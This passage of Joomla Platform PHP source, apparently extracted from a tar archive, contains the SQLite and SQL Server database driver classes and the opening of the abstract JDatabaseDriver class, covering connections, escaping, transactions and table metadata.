* @return array An array of fields for the database table.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableColumns($table, $typeOnly = true)
{
$this->connect();
$columns = array();
$query = $this->getQuery(true);
$fieldCasing = $this->getOption(PDO::ATTR_CASE);
$this->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER);
$table = strtoupper($table);
$query->setQuery('pragma table_info(' . $table .
')');
$this->setQuery($query);
$fields = $this->loadObjectList();
if ($typeOnly)
{
foreach ($fields as $field)
{
$columns[$field->NAME] = $field->TYPE;
}
}
else
{
foreach ($fields as $field)
{
// Do some dirty translation to MySQL output.
// TODO: Come up with and implement a standard across databases.
$columns[$field->NAME] = (object) array(
'Field' => $field->NAME,
'Type' => $field->TYPE,
'Null' => ($field->NOTNULL == '1' ?
'NO' : 'YES'),
'Default' => $field->DFLT_VALUE,
'Key' => ($field->PK != '0' ?
'PRI' : ''),
);
}
}
$this->setOption(PDO::ATTR_CASE, $fieldCasing);
return $columns;
}
/**
* Get the details list of keys for a table.
*
* @param string $table The name of the table.
*
* @return array An array of the column specification for the table.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableKeys($table)
{
$this->connect();
$keys = array();
$query = $this->getQuery(true);
$fieldCasing = $this->getOption(PDO::ATTR_CASE);
$this->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER);
$table = strtoupper($table);
$query->setQuery('pragma table_info( ' . $table .
')');
// $query->bind(':tableName', $table);
$this->setQuery($query);
$rows = $this->loadObjectList();
foreach ($rows as $column)
{
if ($column->PK == 1)
{
$keys[$column->NAME] = $column;
}
}
$this->setOption(PDO::ATTR_CASE, $fieldCasing);
return $keys;
}
/**
* Method to get an array of all tables in the database (schema).
*
* @return array An array of all the tables in the database.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableList()
{
$this->connect();
$type = 'table';
$query = $this->getQuery(true)
->select('name')
->from('sqlite_master')
->where('type = :type')
->bind(':type', $type)
->order('name');
$this->setQuery($query);
$tables = $this->loadColumn();
return $tables;
}
/**
* Get the version of the database connector.
*
* @return string The database connector version.
*
* @since 3.0.0
*/
public function getVersion()
{
$this->connect();
$this->setQuery('SELECT sqlite_version()');
return $this->loadResult();
}
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function select($database)
{
$this->connect();
return true;
}
/**
* Set the connection to use UTF-8 character encoding.
*
* Returns false automatically for the Oracle driver since
* you can only set the character set when the connection
* is created.
*
* @return boolean True on success.
*
* @since 3.0.0
*/
public function setUtf()
{
$this->connect();
return false;
}
/**
* Locks a table in the database.
*
* @param string $table The name of the table to unlock.
*
* @return JDatabaseDriverSqlite Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function lockTable($table)
{
return $this;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Not used by Sqlite.
* @param string $prefix Not used by Sqlite.
*
* @return JDatabaseDriverSqlite Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function renameTable($oldTable, $newTable, $backup = null, $prefix
= null)
{
$this->setQuery('ALTER TABLE ' . $oldTable . ' RENAME
TO ' . $newTable)->execute();
return $this;
}
/**
* Unlocks tables in the database.
*
* @return JDatabaseDriverSqlite Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function unlockTables()
{
return $this;
}
/**
* Test to see if the PDO ODBC connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return class_exists('PDO') &&
in_array('sqlite', PDO::getAvailableDrivers());
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 3.1.4
* @throws RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
parent::transactionCommit($toSavepoint);
}
else
{
$this->transactionDepth--;
}
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 3.1.4
* @throws RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
parent::transactionRollback($toSavepoint);
}
else
{
$savepoint = 'SP_' . ($this->transactionDepth - 1);
$this->setQuery('ROLLBACK TO ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth--;
}
}
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 3.1.4
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
parent::transactionStart($asSavepoint);
}
$savepoint = 'SP_' . $this->transactionDepth;
$this->setQuery('SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth++;
}
}
/**
* Get the query strings to alter the character set and collation of a
table.
*
* @param string $tableName The name of the table
*
* @return string[] The queries required to alter the table's
character set and collation
*
* @since CMS 3.5.0
*/
public function getAlterTableCharacterSet($tableName)
{
return array();
}
/**
* Return the query string to create new Database.
* Each database driver, other than MySQL, need to override this member to
return correct string.
*
* @param stdClass $options Object used to pass user and database name
to database driver.
* This object must have "db_name" and
"db_user" set.
* @param boolean $utf True if the database supports the UTF-8
character set.
*
* @return string The query that creates database
*
* @since 3.0.1
*/
protected function getCreateDatabaseQuery($options, $utf)
{
return 'CREATE DATABASE ' .
$this->quoteName($options->db_name);
}
}
database/driver/sqlsrv.php000064400000066044151171674070011671
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* SQL Server database driver
*
* @link https://msdn.microsoft.com/en-us/library/cc296152(SQL.90).aspx
* @since 3.0.0
*/
class JDatabaseDriverSqlsrv extends JDatabaseDriver
{
/**
* The name of the database driver.
*
* @var string
* @since 3.0.0
*/
public $name = 'sqlsrv';
/**
* The type of the database server family supported by this driver.
*
* @var string
* @since CMS 3.5.0
*/
public $serverType = 'mssql';
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 3.0.0
*/
protected $nameQuote = '[]';
/**
* The null or zero representation of a timestamp for the database driver.
This should be
* defined in child classes to hold the appropriate value for the engine.
*
* @var string
* @since 3.0.0
*/
protected $nullDate = '1900-01-01 00:00:00';
/**
* @var string The minimum supported database version.
* @since 3.0.0
*/
protected static $dbMinimum = '10.50.1600.1';
/**
* Test to see if the SQLSRV connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return function_exists('sqlsrv_connect');
}
/**
* Constructor.
*
* @param array $options List of options used to configure the
connection
*
* @since 3.0.0
*/
public function __construct($options)
{
// Get some basic values from the options.
$options['host'] = (isset($options['host'])) ?
$options['host'] : 'localhost';
$options['user'] = (isset($options['user'])) ?
$options['user'] : '';
$options['password'] = (isset($options['password']))
? $options['password'] : '';
$options['database'] = (isset($options['database']))
? $options['database'] : '';
$options['select'] = (isset($options['select'])) ?
(bool) $options['select'] : true;
// Finalize initialisation
parent::__construct($options);
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
// Build the connection configuration array.
$config = array(
'Database' => $this->options['database'],
'uid' => $this->options['user'],
'pwd' => $this->options['password'],
'CharacterSet' => 'UTF-8',
'ReturnDatesAsStrings' => true,
);
// Make sure the SQLSRV extension for PHP is installed and enabled.
if (!self::isSupported())
{
throw new JDatabaseExceptionUnsupported('The sqlsrv extension for
PHP is not installed or enabled..');
}
// Attempt to connect to the server.
if (!($this->connection = @
sqlsrv_connect($this->options['host'], $config)))
{
throw new JDatabaseExceptionConnecting('Database sqlsrv_connect
failed, ' . print_r(sqlsrv_errors(), true));
}
// Make sure that DB warnings are not returned as errors.
sqlsrv_configure('WarningsReturnAsErrors', 0);
// If auto-select is enabled select the given database.
if ($this->options['select'] &&
!empty($this->options['database']))
{
$this->select($this->options['database']);
}
// Set charactersets.
$this->utf = $this->setUtf();
// Set QUOTED_IDENTIFIER always ON
sqlsrv_query($this->connection, 'SET QUOTED_IDENTIFIER ON');
}
/**
* Disconnects the database.
*
* @return void
*
* @since 3.0.0
*/
public function disconnect()
{
// Close the connection.
if (is_resource($this->connection))
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
sqlsrv_close($this->connection);
}
$this->connection = null;
}
/**
* Get table constraints
*
* @param string $tableName The name of the database table.
*
* @return array Any constraints available for the table.
*
* @since 3.0.0
*/
protected function getTableConstraints($tableName)
{
$this->connect();
$query = $this->getQuery(true);
$this->setQuery(
'SELECT CONSTRAINT_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS
WHERE TABLE_NAME = ' . $query->quote($tableName)
);
return $this->loadColumn();
}
/**
* Rename constraints.
*
* @param array $constraints Array(strings) of table constraints
* @param string $prefix A string
* @param string $backup A string
*
* @return void
*
* @since 3.0.0
*/
protected function renameConstraints($constraints = array(), $prefix =
null, $backup = null)
{
$this->connect();
foreach ($constraints as $constraint)
{
$this->setQuery('sp_rename ' . $constraint . ','
. str_replace($prefix, $backup, $constraint));
$this->execute();
}
}
/**
* Method to escape a string for usage in an SQL statement.
*
* The escaping for MSSQL isn't handled in the driver though that
would be nice. Because of this we need
* to handle the escaping ourselves.
*
* @param string $text The string to be escaped.
* @param boolean $extra Optional parameter to provide extra escaping.
*
* @return string The escaped string.
*
* @since 3.0.0
*/
public function escape($text, $extra = false)
{
if (is_int($text))
{
return $text;
}
if (is_float($text))
{
// Force the dot as a decimal point.
return str_replace(',', '.', $text);
}
$result = str_replace("'", "''",
$text);
// SQL Server does not accept NULL byte in query string
$result = str_replace("\0", "' + CHAR(0) +
N'", $result);
// Fix for SQL Server escape sequence, see
https://support.microsoft.com/en-us/kb/164291
$result = str_replace(
array("\\\n", "\\\r",
"\\\\\r\r\n"),
array("\\\\\n\n", "\\\\\r\r",
"\\\\\r\n\r\n"),
$result
);
if ($extra)
{
// Escape special chars
$result = str_replace(
array('[', '_', '%'),
array('[[]', '[_]', '[%]'),
$result
);
}
return $result;
}
/**
* Quotes and optionally escapes a string to database requirements for use
in database queries.
*
* @param mixed $text A string or an array of strings to quote.
* @param boolean $escape True (default) to escape the string, false
to leave it unchanged.
*
* @return string The quoted input string.
*
* @note Accepting an array of strings was added in 3.1.4.
* @since 1.7.0
*/
public function quote($text, $escape = true)
{
if (is_array($text))
{
return parent::quote($text, $escape);
}
// To support unicode on MSSQL we have to add prefix N
return 'N\'' . ($escape ? $this->escape($text) : $text)
. '\'';
}
/**
* Quotes a binary string to database requirements for use in database
queries.
*
* @param mixed $data A binary string to quote.
*
* @return string The binary quoted input string.
*
* @since 3.9.12
*/
public function quoteBinary($data)
{
// ODBC syntax for hexadecimal literals
return '0x' . bin2hex($data);
}
/**
* Determines if the connection to the server is active.
*
* @return boolean True if connected to the database engine.
*
* @since 3.0.0
*/
public function connected()
{
// TODO: Run a blank query here
return true;
}
/**
* Drops a table from the database.
*
* @param string $tableName The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return JDatabaseDriverSqlsrv Returns this object to support
chaining.
*
* @since 3.0.0
*/
public function dropTable($tableName, $ifExists = true)
{
$this->connect();
$query = $this->getQuery(true);
if ($ifExists)
{
$this->setQuery(
'IF EXISTS(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE
TABLE_NAME = ' . $query->quote($tableName) . ') DROP TABLE
' . $tableName
);
}
else
{
$this->setQuery('DROP TABLE ' . $tableName);
}
$this->execute();
return $this;
}
/**
* Get the number of affected rows for the previous executed SQL
statement.
*
* @return integer The number of affected rows.
*
* @since 3.0.0
*/
public function getAffectedRows()
{
$this->connect();
return sqlsrv_rows_affected($this->cursor);
}
/**
* Method to get the database collation in use by sampling a text field of
a table in the database.
*
* @return mixed The collation in use by the database or boolean false
if not supported.
*
* @since 3.0.0
*/
public function getCollation()
{
// TODO: Not fake this
return 'MSSQL UTF-8 (UCS2)';
}
/**
* Method to get the database connection collation, as reported by the
driver. If the connector doesn't support
* reporting this value please return an empty string.
*
* @return string
*/
public function getConnectionCollation()
{
// TODO: Not fake this
return 'MSSQL UTF-8 (UCS2)';
}
/**
* Get the number of returned rows for the previous executed SQL
statement.
*
* @param resource $cursor An optional database cursor resource to
extract the row count from.
*
* @return integer The number of returned rows.
*
* @since 3.0.0
*/
public function getNumRows($cursor = null)
{
$this->connect();
return sqlsrv_num_rows($cursor ? $cursor : $this->cursor);
}
/**
* Retrieves field information about the given tables.
*
* @param mixed $table A table name
* @param boolean $typeOnly True to only return field types.
*
* @return array An array of fields.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableColumns($table, $typeOnly = true)
{
$result = array();
$table_temp = $this->replacePrefix((string) $table);
// Set the query to get the table fields statement.
$this->setQuery(
'SELECT column_name as Field, data_type as Type, is_nullable as
\'Null\', column_default as \'Default\'' .
' FROM information_schema.columns WHERE table_name = ' .
$this->quote($table_temp)
);
$fields = $this->loadObjectList();
// If we only want the type as the value add just that to the list.
if ($typeOnly)
{
foreach ($fields as $field)
{
$result[$field->Field] = preg_replace('/[(0-9)]/',
'', $field->Type);
}
}
// If we want the whole field data object add that to the list.
else
{
foreach ($fields as $field)
{
$field->Default =
preg_replace("/(^(\(\(|\('|\(N'|\()|(('\)|(?<!\()\)\)|\))$))/i",
'', $field->Default);
$result[$field->Field] = $field;
}
}
return $result;
}
/**
* Shows the table CREATE statement that creates the given tables.
*
* This is unsupported by MSSQL.
*
* @param mixed $tables A table name or a list of table names.
*
* @return array A list of the create SQL for the tables.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableCreate($tables)
{
$this->connect();
return '';
}
/**
* Get the details list of keys for a table.
*
* @param string $table The name of the table.
*
* @return array An array of the column specification for the table.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableKeys($table)
{
$this->connect();
// TODO To implement.
return array();
}
/**
* Method to get an array of all tables in the database.
*
* @return array An array of all the tables in the database.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableList()
{
$this->connect();
// Set the query to get the tables statement.
$this->setQuery('SELECT name FROM ' .
$this->getDatabase() . '.sys.Tables WHERE type =
\'U\';');
$tables = $this->loadColumn();
return $tables;
}
/**
* Get the version of the database connector.
*
* @return string The database connector version.
*
* @since 3.0.0
*/
public function getVersion()
{
$this->connect();
$version = sqlsrv_server_info($this->connection);
return $version['SQLServerVersion'];
}
/**
* Inserts a row into a table based on an object's properties.
*
* @param string $table The name of the database table to insert
into.
* @param object &$object A reference to an object whose public
properties match the table fields.
* @param string $key The name of the primary key. If provided the
object property is updated.
*
* @return boolean True on success.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function insertObject($table, &$object, $key = null)
{
$fields = array();
$values = array();
$statement = 'INSERT INTO ' . $this->quoteName($table) .
' (%s) VALUES (%s)';
foreach (get_object_vars($object) as $k => $v)
{
// Only process non-null scalars.
if (is_array($v) or is_object($v) or $v === null)
{
continue;
}
if (!$this->checkFieldExists($table, $k))
{
continue;
}
if ($k[0] == '_')
{
// Internal field
continue;
}
if ($k == $key && $key == 0)
{
continue;
}
$fields[] = $this->quoteName($k);
$values[] = $this->Quote($v);
}
// Set the query and execute the insert.
$this->setQuery(sprintf($statement, implode(',', $fields),
implode(',', $values)));
if (!$this->execute())
{
return false;
}
$id = $this->insertid();
if ($key && $id)
{
$object->$key = $id;
}
return true;
}
/**
* Method to get the auto-incremented value from the last INSERT
statement.
*
* @return integer The value of the auto-increment field from the last
inserted row.
*
* @since 3.0.0
*/
public function insertid()
{
$this->connect();
// TODO: SELECT IDENTITY
$this->setQuery('SELECT @@IDENTITY');
return (int) $this->loadResult();
}
/**
* Execute the SQL statement.
*
* @return mixed A database cursor resource on success, boolean false on
failure.
*
* @since 3.0.0
* @throws RuntimeException
* @throws Exception
*/
public function execute()
{
$this->connect();
// Take a local copy so that we don't modify the original query and
cause issues later
$query = $this->replacePrefix((string) $this->sql);
if (!($this->sql instanceof JDatabaseQuery) &&
($this->limit > 0 || $this->offset > 0))
{
$query = $this->limit($query, $this->limit, $this->offset);
}
if (!is_resource($this->connection))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum);
}
// Increment the query counter.
$this->count++;
// Reset the error values.
$this->errorNum = 0;
$this->errorMsg = '';
// If debugging is enabled then let's log the query.
if ($this->debug)
{
// Add the query to the object queue.
$this->log[] = $query;
JLog::add($query, JLog::DEBUG, 'databasequery');
$this->timings[] = microtime(true);
}
// SQLSrv_num_rows requires a static or keyset cursor.
if (strncmp(ltrim(strtoupper($query)), 'SELECT',
strlen('SELECT')) == 0)
{
$array = array('Scrollable' => SQLSRV_CURSOR_KEYSET);
}
else
{
$array = array();
}
// Execute the query. Error suppression is used here to prevent
warnings/notices that the connection has been lost.
$this->cursor = @sqlsrv_query($this->connection, $query, array(),
$array);
if ($this->debug)
{
$this->timings[] = microtime(true);
if (defined('DEBUG_BACKTRACE_IGNORE_ARGS'))
{
$this->callStacks[] = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
}
else
{
$this->callStacks[] = debug_backtrace();
}
}
// If an error occurred handle it.
if (!$this->cursor)
{
// Get the error number and message before we execute any more queries.
$errorNum = $this->getErrorNumber();
$errorMsg = $this->getErrorMessage();
// Check if the server was disconnected.
if (!$this->connected())
{
try
{
// Attempt to reconnect.
$this->connection = null;
$this->connect();
}
// If connect fails, ignore that exception and throw the normal
exception.
catch (RuntimeException $e)
{
// Get the error number and message.
$this->errorNum = $this->getErrorNumber();
$this->errorMsg = $this->getErrorMessage();
// Throw the normal query exception.
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum, $e);
}
// Since we were able to reconnect, run the query again.
return $this->execute();
}
// The server was not disconnected.
else
{
// Get the error number and message from before we tried to reconnect.
$this->errorNum = $errorNum;
$this->errorMsg = $errorMsg;
// Throw the normal query exception.
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum);
}
}
return $this->cursor;
}
/**
* This function replaces a string identifier
<var>$prefix</var> with the string held is the
* <var>tablePrefix</var> class variable.
*
* @param string $query The SQL statement to prepare.
* @param string $prefix The common table prefix.
*
* @return string The processed SQL statement.
*
* @since 3.0.0
*/
public function replacePrefix($query, $prefix = '#__')
{
$query = trim($query);
if (strpos($query, "'"))
{
$parts = explode("'", $query);
for ($nIndex = 0, $size = count($parts); $nIndex < $size; $nIndex =
$nIndex + 2)
{
if (strpos($parts[$nIndex], $prefix) !== false)
{
$parts[$nIndex] = str_replace($prefix, $this->tablePrefix,
$parts[$nIndex]);
}
}
$query = implode("'", $parts);
}
else
{
$query = str_replace($prefix, $this->tablePrefix, $query);
}
return $query;
}
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function select($database)
{
$this->connect();
if (!$database)
{
return false;
}
if (!sqlsrv_query($this->connection, 'USE ' . $database,
null, array('scrollable' => SQLSRV_CURSOR_STATIC)))
{
throw new JDatabaseExceptionConnecting('Could not connect to SQL
Server database.');
}
return true;
}
/**
* Set the connection to use UTF-8 character encoding.
*
* @return boolean True on success.
*
* @since 3.0.0
*/
public function setUtf()
{
return false;
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 3.0.0
* @throws RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('COMMIT TRANSACTION')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$this->transactionDepth--;
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 3.0.0
* @throws RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('ROLLBACK TRANSACTION')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$savepoint = 'SP_' . ($this->transactionDepth - 1);
$this->setQuery('ROLLBACK TRANSACTION ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth--;
}
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 3.0.0
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
if ($this->setQuery('BEGIN TRANSACTION')->execute())
{
$this->transactionDepth = 1;
}
return;
}
$savepoint = 'SP_' . $this->transactionDepth;
$this->setQuery('BEGIN TRANSACTION ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth++;
}
}
/**
* Method to fetch a row from the result set cursor as an array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchArray($cursor = null)
{
return sqlsrv_fetch_array($cursor ? $cursor : $this->cursor,
SQLSRV_FETCH_NUMERIC);
}
/**
* Method to fetch a row from the result set cursor as an associative
array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchAssoc($cursor = null)
{
return sqlsrv_fetch_array($cursor ? $cursor : $this->cursor,
SQLSRV_FETCH_ASSOC);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
* @param string $class The class name to use for the returned row
object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchObject($cursor = null, $class =
'stdClass')
{
// Class has to be loaded for sqlsrv on windows platform
class_exists($class);
return sqlsrv_fetch_object($cursor ? $cursor : $this->cursor, $class);
}
/**
* Method to free up the memory used for the result set.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return void
*
* @since 3.0.0
*/
protected function freeResult($cursor = null)
{
sqlsrv_free_stmt($cursor ? $cursor : $this->cursor);
}
/**
* Method to check and see if a field exists in a table.
*
* @param string $table The table in which to verify the field.
* @param string $field The field to verify.
*
* @return boolean True if the field exists in the table.
*
* @since 3.0.0
*/
protected function checkFieldExists($table, $field)
{
$this->connect();
$table = $this->replacePrefix((string) $table);
$query = "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME = '$table' AND COLUMN_NAME = '$field' ORDER
BY ORDINAL_POSITION";
$this->setQuery($query);
if ($this->loadResult())
{
return true;
}
else
{
return false;
}
}
/**
* Method to wrap an SQL statement to provide a LIMIT and OFFSET behavior
for scrolling through a result set.
*
* @param string $query The SQL statement to process.
* @param integer $limit The maximum affected rows to set.
* @param integer $offset The affected row offset to set.
*
* @return string The processed SQL statement.
*
* @since 3.0.0
*/
protected function limit($query, $limit, $offset)
{
if ($limit)
{
$total = $offset + $limit;
$position = stripos($query, 'SELECT');
$distinct = stripos($query, 'SELECT DISTINCT');
if ($position === $distinct)
{
$query = substr_replace($query, 'SELECT DISTINCT TOP ' .
(int) $total, $position, 15);
}
else
{
$query = substr_replace($query, 'SELECT TOP ' . (int) $total,
$position, 6);
}
}
if (!$offset)
{
return $query;
}
return PHP_EOL
. 'SELECT * FROM (SELECT *, ROW_NUMBER() OVER (ORDER BY (SELECT 0))
AS RowNumber FROM ('
. $query
. PHP_EOL . ') AS A) AS A WHERE RowNumber > ' . (int)
$offset;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Table prefix
* @param string $prefix For the table - used to rename constraints
in non-mysql databases
*
* @return JDatabaseDriverSqlsrv Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function renameTable($oldTable, $newTable, $backup = null, $prefix
= null)
{
$constraints = array();
if (!is_null($prefix) && !is_null($backup))
{
$constraints = $this->getTableConstraints($oldTable);
}
if (!empty($constraints))
{
$this->renameConstraints($constraints, $prefix, $backup);
}
$this->setQuery("sp_rename '" . $oldTable .
"', '" . $newTable . "'");
return $this->execute();
}
/**
* Locks a table in the database.
*
* @param string $tableName The name of the table to lock.
*
* @return JDatabaseDriverSqlsrv Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function lockTable($tableName)
{
return $this;
}
/**
* Unlocks tables in the database.
*
* @return JDatabaseDriverSqlsrv Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function unlockTables()
{
return $this;
}
/**
* Return the actual SQL Error number
*
* @return integer The SQL Error number
*
* @since 3.4.6
*/
protected function getErrorNumber()
{
$errors = sqlsrv_errors();
return $errors[0]['code'];
}
/**
* Return the actual SQL Error message
*
* @return string The SQL Error message
*
* @since 3.4.6
*/
protected function getErrorMessage()
{
$errors = sqlsrv_errors();
$errorMessage = (string) $errors[0]['message'];
// Replace the Databaseprefix with `#__` if we are not in Debug
if (!$this->debug)
{
$errorMessage = str_replace($this->tablePrefix, '#__',
$errorMessage);
}
return $errorMessage;
}
/**
* Get the query strings to alter the character set and collation of a
table.
*
* @param string $tableName The name of the table
*
* @return string[] The queries required to alter the table's
character set and collation
*
* @since CMS 3.5.0
*/
public function getAlterTableCharacterSet($tableName)
{
return array();
}
/**
* Return the query string to create new Database.
* Each database driver, other than MySQL, need to override this member to
return correct string.
*
* @param stdClass $options Object used to pass user and database name
to database driver.
* This object must have "db_name" and
"db_user" set.
* @param boolean $utf True if the database supports the UTF-8
character set.
*
* @return string The query that creates database
*
* @since 3.0.1
*/
protected function getCreateDatabaseQuery($options, $utf)
{
return 'CREATE DATABASE ' .
$this->quoteName($options->db_name);
}
}
database/driver.php000064400000157104151171674070010335 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Platform Database Driver Class
*
* @since 3.0.0
*
* @method string|array q() q($text, $escape = true) Alias for quote
method
* @method string|array qn() qn($name, $as = null) Alias for
quoteName method
*/
abstract class JDatabaseDriver extends JDatabase implements
JDatabaseInterface
{
/**
* The name of the database.
*
* @var string
* @since 2.5.0
*/
private $_database;
/**
* The name of the database driver.
*
* @var string
* @since 1.7.0
*/
public $name;
/**
* The type of the database server family supported by this driver.
Examples: mysql, oracle, postgresql, mssql,
* sqlite.
*
* @var string
* @since CMS 3.5.0
*/
public $serverType;
/**
* @var resource The database connection resource.
* @since 1.7.0
*/
protected $connection;
/**
* @var integer The number of SQL statements executed by the database
driver.
* @since 1.7.0
*/
protected $count = 0;
/**
* @var resource The database connection cursor from the last query.
* @since 1.7.0
*/
protected $cursor;
/**
* @var boolean The database driver debugging state.
* @since 1.7.0
*/
protected $debug = false;
/**
* @var integer The affected row limit for the current SQL statement.
* @since 1.7.0
*/
protected $limit = 0;
/**
* @var array The log of executed SQL statements by the database
driver.
* @since 1.7.0
*/
protected $log = array();
/**
* @var array The log of executed SQL statements timings (start and
stop microtimes) by the database driver.
* @since CMS 3.1.2
*/
protected $timings = array();
/**
* @var array The log of executed SQL statements timings (start and
stop microtimes) by the database driver.
* @since CMS 3.1.2
*/
protected $callStacks = array();
/**
* @var string The character(s) used to quote SQL statement names such
as table names or field names,
* etc. The child classes should define this as
necessary. If a single character string the
* same character is used for both sides of the quoted
name, else the first character will be
* used for the opening quote and the second for the
closing quote.
* @since 1.7.0
*/
protected $nameQuote;
/**
* @var string The null or zero representation of a timestamp for the
database driver. This should be
* defined in child classes to hold the appropriate value
for the engine.
* @since 1.7.0
*/
protected $nullDate;
/**
* @var integer The affected row offset to apply for the current SQL
statement.
* @since 1.7.0
*/
protected $offset = 0;
/**
* @var array Passed in upon instantiation and saved.
* @since 1.7.0
*/
protected $options;
/**
* @var JDatabaseQuery|string The current SQL statement to execute.
* @since 1.7.0
*/
protected $sql;
/**
* @var string The common database table prefix.
* @since 1.7.0
*/
protected $tablePrefix;
/**
* @var boolean True if the database engine supports UTF-8 character
encoding.
* @since 1.7.0
*/
protected $utf = true;
/**
* @var boolean True if the database engine supports UTF-8 Multibyte
(utf8mb4) character encoding.
* @since CMS 3.5.0
*/
protected $utf8mb4 = false;
/**
* @var integer The database error number
* @since 1.7.0
* @deprecated 3.0.0
*/
protected $errorNum = 0;
/**
* @var string The database error message
* @since 1.7.0
* @deprecated 3.0.0
*/
protected $errorMsg;
/**
* @var array JDatabaseDriver instances container.
* @since 1.7.0
*/
protected static $instances = array();
/**
* @var string The minimum supported database version.
* @since 3.0.0
*/
protected static $dbMinimum;
